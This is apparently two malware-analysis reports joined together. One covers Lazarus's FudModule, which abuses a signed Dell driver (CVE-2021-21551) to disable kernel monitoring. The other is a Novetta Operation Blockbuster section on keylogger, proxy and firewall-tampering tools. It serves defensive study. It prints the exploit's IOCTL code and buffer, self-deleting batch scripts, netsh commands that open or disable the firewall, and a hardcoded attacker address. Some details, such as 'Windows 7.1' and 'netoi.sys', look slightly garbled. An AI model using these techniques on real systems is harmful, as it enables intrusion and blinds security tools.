As defined by the Microsoft Security Serving Criteria for Windows, the administrator-to-kernel transition is not a security boundary. Nevertheless, it is an advantage to have the ability to modify kernel memory, especially if an attacker can achieve that from user space. The Bring Your Own Vulnerable Driver (BYOVD) technique is a viable option for doing so: the attackers carry and load a specific kernel driver with a valid signature, thus overcoming the driver signature enforcement policy (DSE). Moreover, this driver contains a vulnerability that gives the attacker an arbitrary kernel write primitive. In such cases, the Windows API ceases to be a restriction, and an adversary can tamper with the most privileged areas of the operating system at will.
To complete this mission successfully, one must undergo an undoubtedly sophisticated and time-consuming process: choosing an appropriate vulnerable driver; researching Windows’ internals, as the functioning of the kernel is not well documented; working with a code base that is unfamiliar to most developers; and finally testing, as any unhandled error is the last step before a BSOD, which might trigger a subsequent investigation and the loss of access.
In this paper, we dive into a deep technical analysis of a malicious component that was used in an APT attack by Lazarus in late 2021. The malware is a sophisticated, previously undocumented user-mode module that uses the BYOVD technique and leverages the CVE-2021-21551 vulnerability in a legitimate, signed Dell driver. After gaining write access to kernel memory, the module’s global goal is to blind security solutions and monitoring tools. This is tactically realized via seven distinct mechanisms that target important kernel functions, structures, and variables of Windows systems from versions 7.1 up to Windows Server 2022. We will shed more light on these mechanisms by demonstrating how they operate and what changes they make to system monitoring once the user-mode module is executed.
When compared to other APTs using BYOVD, this Lazarus case is unique, because it possesses a complex bundle of ways to disable monitoring interfaces that have never before been seen in the wild. While some of the individual techniques may have been spotted before by vulnerability researchers and game cheats, we will provide a comprehensive analysis of all of them and put them in context.
## INTRODUCTION
In October 2021, we recorded an attack on an endpoint of a corporate network in the Netherlands. Various types of malicious tools were deployed onto the victim’s computer, many of which can confidently be attributed to the infamous Lazarus threat actor. Besides usual malware like HTTP(S) backdoors, downloaders, and uploaders, one sample attracted our curiosity – an 88,064-byte user-mode dynamically linked library with internal name FudModule. Its functionality is the main subject of this paper.
### FUDMODULE
**Installation**
The complete chain of the delivery of FudModule was not fully recovered. The initial discovery was shellcode with an encrypted buffer running in the memory space of a legitimate, but compromised, msiexec.exe process. The action of loading the decrypted buffer, which contains FudModule, and the 64-bit return value of its exported Close function is stored as a hexadecimal string in C:\WINDOWS\windows.ini. The return value represents how successful the payload was in its mission.
It turns out that FudModule’s functionality is focused on the Windows kernel space. However, user-mode DLLs cannot read or write kernel memory directly. To achieve that, this module leverages the Bring Your Own Vulnerable Driver (BYOVD) technique – it loads an embedded, validly signed legitimate driver, DBUtil_2_3.sys, developed by Dell. There are various flaws present in the driver, with a single CVE assigned in May 2021: CVE-2021-21551. The attackers are only interested in acquiring the kernel write primitive. In case this step fails, the module quits, as any further actions would be impossible to complete.
The driver is dropped into the C:\WINDOWS\System32\drivers\ folder under a name randomly chosen from circlassmgr.sys, dmvscmgr.sys, hidirmgr.sys, isapnpmgr.sys, mspqmmgr.sys, and umpassmgr.sys. Note that this operation already requires administrator privileges.
CVE-2021-21551 is triggered by calling the DeviceIoControl API with a specific control code and buffer. The code, 0x9B0C1EC8 (IOCTL_VIRTUAL_WRITE), is a value required by the driver to execute the correct program branch of DBUtil_2_3 for the kernel write vulnerability. The buffer consists of 32 bytes: 0x4141414142424242, followed by a specifically calculated kernel address and 16 zero bytes. The kernel address is the location of the PreviousMode member of the current thread’s ETHREAD object. Rewriting this parameter from 0x01 (UserMode) to 0x00 (KernelMode) will indicate to native system services that this user-mode thread originates from kernel mode and all subsequent calls of the nt!NtWriteVirtualMemory API targeting kernel memory will proceed successfully.
Several low-level Windows API functions from ntdll.dll are resolved dynamically: NtUnloadDriver, NtLoadDriver, NtQuerySystemInformation, NtWriteVirtualMemory, RtlInitUnicodeString, NtOpenDirectoryObject, NtOpenSection, NtMapViewOfSection, NtUnmapViewOfSection, and RtlCreateUserThread. Moreover, the following conditions must be met to prevent the module from exiting prematurely:
- The process must not be debugged (from checking the flag BeingDebugged in the Process Environment Block).
- The version of Windows must be between Windows 7.1 and Windows Server 2022.
Next, the kernel base addresses of ntoskrnl.exe and netoi.sys must be obtained (by parsing the result of an NtQuerySystemInformation call with the SystemModuleInformation parameter). These addresses are important for resolving additional kernel pointers later.
What follows is an explanation of the types of kernel manipulations made by this malicious module. The numbering of the next seven sections corresponds with the bit fields in the u32Flags value. Recall that this bit field is returned to the shellcode loading the module and stored in a file C:\WINDOWS\windows.ini. From the high-level perspective, this module is responsible for removing notifications that are needed for a security solution to monitor what is going on within the system and hence to flag potentially malicious behaviour.
### Features
There are seven features that FudModule tries to turn off. For each case, we try to cover the following:
- **Purpose**: to explain high-level behaviour, using a simple open-source driver example from Microsoft’s GitHub or complex closed software like Process Monitor or Windows Defender.
- **Core**: to show the underlying low-level principles of the feature, especially the kernel structures.
- **Attack**: to describe in detail how FudModule turns off the mechanism.
- **Impact**: to demonstrate what is affected and no longer working.
**0x01: Registry callbacks**
Microsoft’s documentation states ‘a registry filtering driver is any kernel-mode driver that filters registry calls’. Such drivers are notified of any WINAPI calls to registry functions. Besides various security solutions, a good example of an application having such a filtering driver and relying on such callbacks is the well-known Process Monitor by Microsoft’s Sysinternals team. The tool logs registry events including just the regedit.exe process for simplicity. The filter excludes all other event classes, because only the Registry switch is on.
All registry callbacks are stored in the doubly linked list CallbackListHead, which is unexported. When Process Monitor is running, there are at least two registered callbacks: its own one and one belonging to WdFilter.sys, which is a component of Windows Defender.
So, the first step of FudModule is to obtain the address of the exported nt!CmRegisterCallback function within the ntoskrnl.exe memory base. The procedure contains a reference of CallbackListHead, so its address helps to compute the location of the doubly linked list of interest. The linked list is emptied in such a way that its tail points to its head, indicating that it is empty. Thus, monitoring of any actions performed on the Windows registry relying on this mechanism is stopped.
**0x02: Object callbacks**
There is a sample driver, ObCallbackTest.sys, of the ObCallbackTest solution on Microsoft’s GitHub that demonstrates the use of registered callbacks for process supervision. Using the user-mode executable ObCallbackTestCtrl.exe with the corresponding switches, one can prevent a chosen process from being created (-reject) or terminated (-name).
To perform the attack successfully, the first step is to locate the address of the exported nt!ObGetObjectType function. Next, the attacker needs to find a pointer to the object callback table, nt!ObTypeIndexTable, with an algorithm such that its success is not dependent on the version of Windows it runs on.
This nt!ObTypeIndexTable table contains pointers to all OBJECT_TYPE structures. Each structure has a CallbackList field that points to the head of a list of installed callbacks. FudModule clears this list in the same way as in the previous mechanism – by pointing its tail to its head.
**0x04: Process, image and thread callbacks**
There are several process-related notifications available from the Windows kernel. One can run Process Monitor and track events generated when a new process or thread starts and an executable image is loaded. The callbacks are organized in three global tables of pointers denoted as nt!PspCreateThreadNotifyRoutine, nt!PspSetCreateProcessNotifyRoutine, and nt!PspLoadImageNotifyRoutine.
The attack starts by resolving the kernel addresses of the functions nt!PsSetCreateThreadNotifyRoutine, nt!PsSetCreateProcessNotifyRoutineEx, and nt!PsSetLoadImageNotifyRoutine. Next, the addresses of the global pointers are obtained algorithmically, so that success is preserved with a Windows update. Finally, the tables are parsed; before removing a callback, a check is performed to see if it belongs in the list of allowlisted drivers.
FudModule seems to care about the safety of the unhooking operation; it also resolves the global variable nt!PspNotifyEnableMask, which is zeroed first, so no notifications are sent to existing drivers; then the notification handler pointers for non-allowlisted drivers are cleared. Finally, the nt!PspNotifyEnableMask is restored to its original value, so the allowlisted drivers continue to function without being affected.
**0x08: File system callbacks in non-legacy minifilters**
There’s a Scanner File System Minifilter Driver solution in Microsoft’s GitHub that demonstrates how a minifilter examines file system data. When its user-mode console component scanuser.exe is running, it communicates with the scanner.sys kernel driver.
FudModule aims to turn off this functionality by disabling all non-legacy minifilters. First, the kernel memory address of nt!MmFreeNonCachedMemory is obtained in order to calculate the value of the non-exported nt!MiPteInShadowRange function. Next, the addresses of three functions, FilterFindNext, FilterFindFirst, and FilterFindClose, from fltlib.dll, are retrieved to parse the FILTER_AGGREGATE_STANDARD_INFORMATION structures containing information about minifilters and legacy filter drivers.
FudModule then retrieves only the non-legacy minifilters (identified by the flag FLTFL_ASI_IS_LEGACYFILTER being set to false) and stores them in an array within the malicious structure. Moreover, the attackers continue performing very risky manipulations and modifying the PostCall field for numerous IRP dispatch routines in the loaded minifilter.
**0x10: Windows Filtering Platform callouts**
The Windows Filtering Platform (WFP) is a set of system services providing a platform for creating network filtering applications. WFP callout drivers extend the capabilities of the WFP by processing TCP/IP-based network data. They are used for deep packet inspection, packet modification, stream modification, and data logging, e.g., endpoint security, HIPS, firewalls, and EDR products.
Despite our efforts to understand callout structures, we still do not fully comprehend their definition. A default callout structure is initialized in the subroutine netio!InitDefaultCallout. However, the registration of a filter callout via fwpkclnt!FwpsCalloutRegister in the PacketModificationFilter project assumes the size of 48 bytes only, for the Windows 10 SP3 version and above.
FudModule modifies the prologs of the minifilter’s functions so that they return immediately instead of processing the notification. This level of intrepidity in the kernel space is rarely seen among malware authors.
**0x20: Handles of event tracing for Windows**
According to Microsoft’s documentation, Event Tracing for Windows (ETW) is a kernel-level tracing model that provides a mechanism to trace and log events that are raised by user-mode applications and kernel-mode drivers.
FudModule derives the locations of all ETW Tracing Provider Handles by parsing through all calls to nt!EtwRegister and collecting the fourth parameter, named RegHandle. These handles include various system ETW providers. The module zeroes these handles of interest, effectively disabling many relevant ETW monitoring providers.
**0x40: nt!PfSnNumActiveTraces**
Prefetch files are an important component of the Windows operating system, responsible for speeding up process creation by caching process metadata. To prevent creating prefetch files, FudModule is interested in the global kernel variable nt!PfSnNumActiveTraces, which is referenced in several ntoskrnl.exe procedures.
Afterwards, the execution of Windows applications is no longer traced.
### Malware configuration
The module’s complete runtime configuration is stored as a structure in its memory address space and contains all information required for the malware to function. It includes the handle of the DBUtil_2_3.sys driver; its installation path; the module base addresses of ntoskrnl.exe and netio.sys; pointers to the located kernel variables; and the names of up to 20 non-legacy minifilters that should be disabled.
### Related work
The earliest mentions of Object Callbacks that we found online are in a blog post by Doug ‘Douggem’ Confere from May 2015 introducing the concept, and a blog post by Adam Chester from December 2017 explaining their role in an anti-debugging technique of a protected anti-virus process.
A general resource for Windows kernel programming is the book by Pavel Yosifovich. It also explains many of the features discussed here.
### CONCLUSION
In the attacks attributed to Lazarus, there are usually many tools distributed to compromise endpoints in the networks of interest. The above-mentioned case in the Netherlands from October 2021 stood out with the discovery of the user-mode FudModule operating robustly in kernel space, using Windows internals that have little to no documentation. For the first time in the wild, the attackers were able to leverage CVE-2021-21551 in order to disable the monitoring capabilities of all security solutions, by using mechanisms either not known before or familiar only to specialized security researchers and (anti-)cheat developers.
For security researchers and product developers, this should be a motivation for re-evaluation of their implementations and increasing their solutions’ self-protection features.
## IOCS
**File**
FudModule.dll: 97C78020EEDFCD5611872AD7C57F812B069529E96107B9A33B4DA7BC967BF38F
Dbutil_2_3.sys: 0296E2CE999E67C76352613A718E11516FE1B0EFC3FFDB8918FC999DD76A73A5
## REFERENCES
1. Kálnai, P. Amazon-themed campaigns of Lazarus in the Netherlands and Belgium. WeLiveSecurity. 30 September 2022.
2. Park, S. Multi-universe of adversary: multiple campaigns of the Lazarus group and their connections. Virus Bulletin Conference Proceedings. 2021.
3. Dekel, K. CVE-2021-21551- Hundreds Of Millions Of Dell Computers At Risk Due to Multiple BIOS Driver Privilege Escalation Flaws. Sentinel Labs Security Research. May 2021.
4. Microsoft. PreviousMode. December 2021.
5. Microsoft. !peb. December 2021.
6. Wikipedia. List of Microsoft Windows versions.
7. Microsoft. Driver Samples for Windows. 10 June 2022.
8. Microsoft. Filtering Registry Calls. December 2021.
9. Microsoft. ObCallbackTest. GitHub.
10. Microsoft. Scanner File System Minifilter Driver. GitHub.
11. Wikipedia. EICAR test file.
12. Microsoft. About file system filter drivers. December 2021.
13. Microsoft. FILTER_AGGREGATE_STANDARD_INFORMATION structure. April 2021.
14. Microsoft. Writing IRP Dispatch Routines. December 2021.
15. Microsoft. Introduction to Windows Filtering Platform Callout Drivers. December 2021.
16. Vach, M. Packet Filter and Modifier. Diploma Thesis. University of Pardubice, 9 September 2014.
17. Microsoft. Event Tracing for Windows (ETW). December 2021.
18. Microsoft. EtwRegister function. April 2022.
19. NirSoft. WinPrefetchView v1.37.
20. Confere, D. ObRegisterCallbacks and Countermeasures. Douggem’s game hacking and reversing notes. 27 May 2015.
21. Chester, A. Windows Anti-Debug techniques – OpenProcess filtering. 13 December 2017.
22. triplefault.io. Enumerating process, thread, and image load notification callback routines in Windows. 17 September 2017.
23. Vella, C. Reversing & bypassing EDRs. CrikeyCon, 2019.
24. Wikipedia. Endpoint detection and response.
25. br-sn. Removing Kernel Callbacks Using Signed Drivers. GitHub. 2 August 2020.
26. Shamriz, A. Part 1: Fs Minifilter Hooking. 10 July 2020.
27. Govind, K.; Kumar Pandey, V.; Selvakumar, S. Pattern Programmable Kernel Filter for Bot Detection. Defence Science Journal 62.3 (2012): 174-179.
28. CNO Development Labs. Data Only Attack: Neutralizing ETW Provider. May 2021.
29. Ma, S., et al. Accurate, Low Cost and Instrumentation-Free Security Audit Logging for Windows. Proceedings of the 31st Annual Computer Security Applications Conference. Los Angeles, 2015.
30. Shashidhar, N.; Novak, D. Digital Forensic Analysis on Prefetch Files: Exploring the Forensic Potential of Prefetch Files in the Windows Platform. International Journal of Information Security Science 4.2 (2015): 39-49.
31. Müller, A. Windows Kernel Explorer. 11 November 2021.
32. br-sn. CheekyBlinder. GitHub. 9 August 2020.
33. Yosifovich, P. EtwExplorer 0.39. 21 February 2019.
34. Yosifovich, P. Windows Kernel Programming. Lean Publishing, 2020.
35. Poslušný, M. Signed kernel drivers – Unguarded gateway to Windows’ core. We Live Security. 11 January 2022.
|
# Novetta
Novetta is an advanced analytics company that extracts value from the increasing volume, variety, and velocity of data. By mastering scale and speed, our advanced analytics software and solutions deliver the actionable insights needed to help our customers detect threats and fraud, protect high-value networks, and improve the bottom line.
For innovative solutions for today’s most mission-critical, advanced analytics challenges, contact Novetta:
Phone: (571) 282-3000 | www.novetta.com
---
## 1. Introduction
This report details some of the technical findings of the Lazarus Group’s malware, observed by Novetta during Operation Blockbuster. We recommend reading the initial report prior to the reverse engineering reports for more details on the operation and the Lazarus Group. This reverse engineering report looks at several tools found within the Lazarus Group’s collection.
Not all of the families within the Lazarus Group’s collection are inherently malicious. There are samples that perform somewhat legitimate functions. These samples are tools, usually one-off tools, that the Lazarus Group may use for a specific purpose and do not gain a wide distribution in the wild. Understanding the function of these tools adds additional insight into the group’s methodologies.
The naming scheme used by Novetta for the malware identified during Operation Blockbuster consists of at least two identifiers, each coming from the International Civil Aviation Organization (ICAO)’s phonetic alphabet, commonly referred to as the NATO phonetic alphabet. The first identifier specifies the general classification of the malware family while the second identifier specifies the specific family within the larger general classification. For example, TangoAlfa specifies a tool family identified as Alfa.
### First Level Identifier and General Classification
| FIRST LEVEL IDENTIFIER | GENERAL CLASSIFICATION |
|------------------------|-----------------------|
| Delta | DDoS |
| Hotel | HTTP Server |
| India | Installer |
| Lima | Loader |
| Kilo | Keylogger |
| Papa | Proxy |
| Romeo | RAT |
| Sierra | Spreader |
| Tango | Tool (Non-classed) |
| Uniform | Uninstaller |
| Whiskey | Destructive Malware (“Wiper”) |
There is no temporal component to the second level identifiers given to malware families. While generally the second identifiers are largely sequential (Alfa, Bravo, Charlie, and so on), the identifier does not indicate that one family came before another chronologically. Instead, the second level identifiers were assigned by the order Novetta discovered each particular family.
---
## 2. [Keylogger] KiloAlfa
A rudimentary but somewhat clever design, KiloAlfa provides keylogging capability for the Lazarus Group’s collection of malicious tools. The design of KiloAlfa is broken down into two basic components: the persistence functionality and the keylogging functionality. The persistence functionality of KiloAlfa allows the malware to self-install on a victim’s machine when activated. The keylogging functionality, as the name would imply, provides keystroke capturing capabilities by continually monitoring the foreground window and recording the current keyboard’s state to a log file for later retrieval. KiloAlfa establishes a keystroke log file for each user that accesses the infected machine. KiloAlfa has no capabilities to transmit the log files to an external server, thereby requiring an additional companion malware family to be utilized by attackers for the retrieval of the key log files.
KiloAlfa is a self-installing binary. When activated without any command line arguments or with the command line argument –reg, KiloAlfa activates its persistence functionality. In order to maintain persistence on a victim’s machine, KiloAlfa copies itself to either `%ALLUSERSPROFILE%\Intel\mscorsw.exe` (if the victim is running Windows Vista or newer) or `%ALLUSERSPROFILE%\Application Data\Intel\mscorsw.exe` (if the victim is running Windows XP or older). A registry key for `HKLM\Software\Microsoft\CurrentVersion\Run\Mozilla Update` is added and set to the path of the newly copied KiloAlfa binary with the –run command line argument added. If the registry key insertion is unsuccessful, KiloAlfa attempts to insert the same key and value within the current user hive (HKCU).
If KiloAlfa is activated without any arguments, the persistence functionality attempts to run KiloAlfa under all users logged into the victim’s machine through terminal services. By calling `WTSEnumerateSessionsA` to get a list of all currently active Windows Terminal Services sessions, KiloAlfa uses the list of active terminal sessions to determine if `explorer.exe` is running under the session (to eliminate non-interactive user sessions); KiloAlfa then obtains the token of the user of the session and calls `CreateProcessAsUserA` to activate the newly installed KiloAlfa binary (`mscorsw.exe`) with the –run command line argument. KiloAlfa then activates `mscorsw.exe` with the –run argument for the console session.
After installing KiloAlfa as `mscorsw.exe` and activating the new binary for all active users, KiloAlfa generates and executes a suicide script to remove the initial instance of itself. The suicide script is saved to `%TEMP%\AUTOEXEO.bat` and takes the form presented in Figure 2-1. The script is constructed one line at a time using string concatenation and saved via `WriteFile` before `CreateProcess` is called to execute the script. It is worth noting that KiloAlfa and IndiaFoxtrot share the same suicide generation script code in both functionality and the script itself. Additionally, KiloAlfa and IndiaFoxtrot also use `AUTOEXEO.bat` as the suicide script’s filename.
```batch
@echo off
:R1
del /a "{KiloAlfa’s filename}"
if exist "{KiloAlfa’s filename}" goto R1
del /a "{suicide script filename}"
```
When KiloAlfa is activated with the –run command line argument, KiloAlfa activates its keylogger functionality. This functionality begins by loading the configuration file `%ALLUSERSPROFILE%\Application Data\Intel\AdobeUpdaterPrefs.dat` (on Windows XP and later) or `%ALLUSERSPROFILE%\Intel\AdobeUpdaterPrefs.dat` (on Windows Vista or newer). The configuration file contains a list of user names and their respective keylogger filenames and paths. The structure of the configuration file consists of a magic value followed by one or more per-user configuration records. The configuration is encrypted with RC4 using the hardcoded password `C!@I#%VJSIEOTQWPVz034v u A`. The magic value allows KiloAlfa to determine if the configuration file has been successfully decrypted prior to attempting to read the per-user configuration records.
### Structure of KiloAlfa’s Configuration File
| OFFSET | SIZE | DESCRIPTION |
|--------|-----------|--------------------------------------|
| 0 | 4 Bytes | Magic Value (0xAABBCCDD) |
| 4 | 360 Bytes | First per-user configuration |
| 4 + 360n | 360 Bytes | nth per-user configuration |
### Per-User Configuration Record’s Structure
| OFFSET | SIZE | DESCRIPTION |
|--------|-----------|--------------------------------------|
| 0 | 100 Bytes | Username for whom the record pertains |
| 100 | 260 Bytes | Full path and filename of the user’s keystroke log file |
KiloAlfa parses all of the per-user configuration records looking for one that belongs to the username under which the KiloAlfa executable is running. If the configuration file is corrupt or missing, or no entry is found for the current user, KiloAlfa generates a new record for the user and specifies the keystroke log file’s path and name as `%LOCALAPPDATA%\IconCache.dat`. The current state of the configuration file is written back to disk.
The keylogging functionality of KiloAlfa works by establishing an invisible window on the victim’s computer and then spawning a thread that monitors both the current foreground window’s title and the current state of the keyboard every 10ms. The invisible window that KiloAlfa registers with the Windows GUI specifies its class name as “Windows IME Update” and provides a very simple window procedure function. The window procedure function (a.k.a. WinProc) only responds to three types of messages from the GUI: `WM_CREATE`, `WM_DESTROY`, and `WM_ENDSESSIONS`. The `WM_CREATE` handler activates the keylogger thread after a 10-second delay, the `WM_DESTROY` handler simply causes the KiloAlfa binary to terminate, and the `WM_ENDSESSIONS` handler causes KiloAlfa to flush any buffered keystroke data to the keystroke log file.
Once activated, the keylogger thread generates an ASCII string with the current time and date to form a header and sends the header to disk after encrypting the data using the DNSCA LC-style encoding. After writing the header to disk, the thread enters an infinite loop. At the top of the loop, the keylogger thread waits 10ms before calling `GetForegroundWindow` to get a handle to the current foreground window. If `GetForegroundWindow` does not return a valid handle, the keylogger thread continues a sequence of 10ms delays followed by a call to `GetForegroundWindow` until a valid handle is obtained.
The handle of the current foreground window is compared to the handle of the foreground window from the last iteration through the keylogger thread’s loop. If the foreground window has changed since the last iteration, the class name of the foreground window is obtained and compared against `Window IME Update`; this determines if a window besides KiloAlfa’s window is currently in the foreground. If KiloAlfa’s window is in the foreground, the keylogger thread returns to the top of the loop and enters another 10ms sleep. Otherwise, the title of the foreground window is obtained, and a new ASCII string is generated containing a separator made up of 72 hyphens followed by a line with the current timestamp and the title of the foreground window. The string is then sent to the keylogger thread’s keystroke log data queue.
The keylogger thread does not write entries immediately to disk. Instead, data is sent to a buffer in KiloAlfa’s memory until the buffer contains at least 2048 bytes. Once the buffer has reached the 2KB threshold, the buffer is encrypted using the DNSCA LC-style encoding and then written to disk. After the buffer is written to disk, the keylogger thread will clear the buffer by zeroing its memory.
The keylogger thread calls `GetAsyncKeyState` 74 different times (for 74 different virtual keys) to determine the state of each key. For any key that indicates it has been pressed, the keylogger thread will record the key to the buffer. Once the keylogger thread has checked all 74 different keys and their current state, the thread returns to the top of the loop and begins another iteration with a 10ms delay.
---
## 3. [Proxy] PapaAlfa
Evidence suggests that the Lazarus Group uses compromised infrastructure as the public-facing touchpoint for the majority of their malware samples. PapaAlfa is believed to be one of the proxy malware components that the Lazarus Group uses to hide the true command and control server(s) for operations. PapaAlfa is not a simple proxy or relay. Rather, PapaAlfa could be considered a smart proxy due in part to the fact that the attacker can easily switch the backend destination address and port without having to reestablish control over the infected machine hosting the PapaAlfa malware. PapaAlfa contains an administrative control channel (or “admin channel”) separate from its proxy channel. PapaAlfa is malware-traffic specific: it does not proxy general traffic, but rather traffic that is specific to the Romeo-CoreOne based families; these RAT families are discussed in Novetta’s other report on the Lazarus Group’s RAT and Staging capabilities.
In terms of form factor, PapaAlfa comes in two flavors: service DLL and standalone executable. The primary difference between the two is that the executable variants require the admin channel’s listening port number to be specified on the command line, otherwise it defaults to 443; meanwhile, the service DLL variants receive their admin channel listening port from a configuration file (pmsconfig.msi). The IndiaBravo-PapaAlfa installer is responsible for installing the service DLL variant.
Regardless of the form factor, the core of PapaAlfa is the same. Once the core component of PapaAlfa activates (which occurs after the service DLL initializes or after the standalone executable reaches the main function), the following tasks occur:
1. Dynamically load API functions
2. Determine the admin channel’s listening port number
3. Establish the admin channel’s listening port and open a hole in the Windows Firewall to facilitate incoming connections
4. For each new incoming admin channel connection, generate a new thread to handle the communication.
5. At the start of each new thread, perform a handshake between PapaAlfa and the client
6. Determine if the client is requesting access to the admin channel or initiating the relay mode
PapaAlfa uses the Space-Dot obfuscation method, found in multiple other Lazarus Group malware families, within the dynamic API loading portion of its code. Four different sets of API functions are loaded from `kernel32.dll`, `ws2_32.dll` (or `wsock32.dll`, depending on the Windows OS version), `advapi32.dll`, and `iphlpapi.dll`, but only a fraction of the loaded API functions are actually used by PapaAlfa.
The selection of the port to use for PapaAlfa’s admin channel is made either on the command line (for standalone executable versions of PapaAlfa) or from a configuration file (pmsconfig.msi) that PapaAlfa loads. Establishing the admin port begins by first opening a hole within the Windows Firewall using the `netsh firewall` command. PapaAlfa uses the following code to construct that command:
```c
sprintf(szCommandLine, "%sd.e%sc n%ssh%srewa%s ad%s po%sop%sing T%s %d \"%s\"",
"cm", "xe /", "et", " fi", "ll", "d", "rt", "en", "CP", wPort, "adp");
```
The method of constructing the `netsh firewall` command is very specific and can be found in both RomeoCharlie and TangoAlfa, allowing for a direct code-level connection between the three malware families. After opening the firewall to allow for incoming connections (a critical operation given that PapaAlfa operates as a server and not a client), the listening port is established by calling Winsock API functions `socket`, `bind`, and `listen`.
Outside of the two form factors that PapaAlfa can have, there are two distinct variants of PapaAlfa that have emerged over time. While both perform the equivalent set of operations for Tasks #5 and #6, the underlying communication subsystem and methodology changes. PapaAlfa-One uses a very simple, unencrypted communication subsystem and a straightforward command processing system, while PapaAlfa-Two employs the fake TLS communication scheme to encrypt communication between the client and the admin channel and uses a more robust command processing system.
Despite their communication subsystem differences, the protocol of the handshake for establishing a connection between PapaAlfa and a client is the same. Once an external client connects to the admin channel of PapaAlfa, a new thread is spun up to handle the communication between itself and the client. The initial communication with the client consists of the client sending 12 bytes to PapaAlfa and PapaAlfa responding with 12 bytes. The 12 bytes that the client sends to PapaAlfa take the following format:
| OFFSET | SIZE | DESCRIPTION |
|--------|-----------|--------------------------------------|
| 0 | 4 Bytes | Channel ID Request (dwChannel) |
| 4 | 4 Bytes | Ignored, typically set to 0 (dwIPAddress) |
| 8 | 4 Bytes | Client’s Internal State (dwState) |
The 12 bytes that PapaAlfa responds with take the following format:
| OFFSET | SIZE | DESCRIPTION |
|--------|-----------|--------------------------------------|
| 0 | 4 Bytes | Channel ID Response Code (dwChannel)|
| 4 | 4 Bytes | Client’s IP Address (dwIPAddress) |
| 8 | 4 Bytes | PapaAlfa’s Current State (dwState) |
The Channel ID Request (dwChannel) value specified by the client indicates the type of channel that the client wishes to activate. There are two supported channels: proxy activation and proxy configuration. The proxy activation channel, as the name implies, is responsible for the activation of the proxy (or relay) between PapaAlfa and another endpoint, and the proxy configuration channel allows the connecting client to configure or reconfigure the PapaAlfa proxy.
---
## 4. [Network Tester] TangoAlfa
Consisting of a single known sample, TangoAlfa is a tool used to determine a victim machine’s external capabilities, namely whether or not the victim machine is capable of receiving incoming connections (presumably from the Internet, but possibly from the local network). In order to make such a determination, the application performs the following tasks:
1. Determine the target endpoint from the command line or use the default endpoint of `69.90.29.43:8080` if no valid command line input is supplied.
2. Test if the endpoint will respond to a TCP socket connect request and will accept incoming data (“writable”).
3. Generate a listening socket on a randomly selected port between 400 and 499 or, if unsuccessful, generate a listening port between 8000 and 8999.
4. Open a hole on the victim machine’s firewall for the listening port.
5. Transmit the port number to the endpoint as a two-byte value.
6. Read a four-byte value from the endpoint to determine the success or failure of the test.
If any of the above steps fail, TangoAlfa will report an error, and the test will fail. To that end, TangoAlfa is very verbose about which stage resulted in a failed test as well as which stage TangoAlfa is executing at any given time. TangoAlfa can be instructed to connect to any testing server on any port by supplying the IP address and port on the command line (separated into individual command line arguments). If the user of TangoAlfa does not supply a testing server (or “endpoint”), then TangoAlfa will default to `69.90.29.43:8080`. If TangoAlfa is unable to connect to the testing server, it will display the following message:
```
*****[Start Test -> 69.90.29.43:8080]
*****[Relay Connect Fail]
```
TangoAlfa tries up to three times to generate a listening socket on the victim’s machine. The first attempt tries for a listening port randomly selected in the range of 400 to 499, while the second and third attempts try the range of 8000 to 8999. If after three attempts to generate a listening port TangoAlfa is unable to establish a listening port, it reports a failure and terminates.
After establishing a listening port, TangoAlfa attempts to open the Windows Firewall on the victim’s machine in order to allow incoming connections. TangoAlfa does this by constructing the following command and executing it via `CreateProcess`:
```batch
cmd.exe /c netsh firewall add portopening TCP <listening port number> "ad p"
```
On Windows XP computers, the above command will result in the line “Ok.” being displayed, whereas on newer versions such as Windows 7, the following text will be displayed:
```
IMPORTANT: Command executed successfully.
However, "netsh firewall" is deprecated;
use "netsh advfirewall firewall" instead.
For more information on using "netsh advfirewall firewall" commands instead of "netsh firewall", see KB article 947709.
```
With the firewall reconfigured to allow incoming connections to the listening port, TangoAlfa displays the listening port number to the user before sending the value to the test server as a two-byte value. After sending the port number, TangoAlfa waits for the test server to respond with a four-byte value or a timeout of 60 seconds, whichever comes first. If the test server sends back 0 (as a 32-bit number), then TangoAlfa indicates the test was a failure. Otherwise, TangoAlfa indicates that the victim’s machine is capable of receiving incoming network connections.
---
## 5. [Domain Redirector] TangoBravo
TangoBravo is a simple piece of malware, consisting of only a handful of non-library functions. Using a technique commonly found in commodity malware versus APT-style malware, TangoBravo’s sole purpose is to prevent a victim’s machine from accessing specific domains by modifying the victim’s `%SYSDIR%\drivers\etc\hosts` file. To that end, the first task that TangoBravo performs is to scan the hosts file line by line and determine if one of the following domains is present; if so, the line is modified to replace the existing IP address with the loopback address 127.0.0.1:
- www.alyac.co.kr
- www.boho.or.kr
- download.boho.or.kr
- www.ahnlab.com
- explicitupdate.alyac.co.kr
- gms.ahnlab.com
- ko-kr.albn.altools.com
- ko-kr.alupdatealyac.altools.com
- su.ahnlab.com
- su3.ahnlab.com
- update.ahnlab.com
- ahnlab.nefficient.co.kr
To further ensure that the above domains are inaccessible to the victim, any of the domains that were not explicitly modified are appended to the end of the hosts file with the 127.0.0.1 loopback address. Note that not all variants of TangoBravo overwrite all of the domains; specifically, alyac.co.kr, boho.or.kr, download.boho.or.kr, and ahnlab.com are not found in all samples.
Upon completion of the hosts file modification, some variants of TangoBravo generate and execute a suicide script. It is this suicide script generation and execution that ties TangoBravo into the larger Lazarus Group’s malware collection, as the suicide script generator and suicide script content is also found in IndiaCharlie. The difference, as seen below, is that TangoBravo uses `CreateProcess` instead of `WinExec` to activate the script.
```c
fp = fopen("d.bat", "w+");
if (fp) {
fprintf(fp, ":R\nIF NOT EXIST %s GOTO E\ndel /a %s\nGOTO R\n:E\ndel /a d.bat", "%1", "%1");
fclose(fp);
sprintf(szCommandLine, "d.bat \"%s\"", szTangoBravoFilename);
CreateProcessA(0, &szCommandLine, 0, 0, 0, 0x8000000u, 0, 0, &StartupInfo, &ProcessInformation);
}
```
Additionally, the core component of TangoBravo has been found integrated in another malware family within the Lazarus Group’s collection: IndiaGolf.
---
## 6. [Windows Firewall Disabler] TangoCharlie
Observed as a payload of SierraJuliett-MikeOne, TangoCharlie is a singularly focused tool whose one and only purpose is to disable the Windows Firewall. Depending on the operating system, TangoCharlie will use either `netsh firewall` (for Windows XP or older) or `netsh advfirewall` (for Windows Vista or newer) to disable the firewall on a victim’s machine.
### TangoCharlie’s Firewall Disabling Commands
| WINDOWS VERSION | FIREWALL COMMAND |
|---------------------------|-----------------------------------------------------------|
| Windows XP or older | `cmd.exe /c netsh firewall set opmode mode=disable` |
| Windows Vista or newer | `cmd.exe /c netsh advfirewall firewall add rule name=CoreNetworkingHTTPS dir=in action=allow Protocol=TCP` |
---
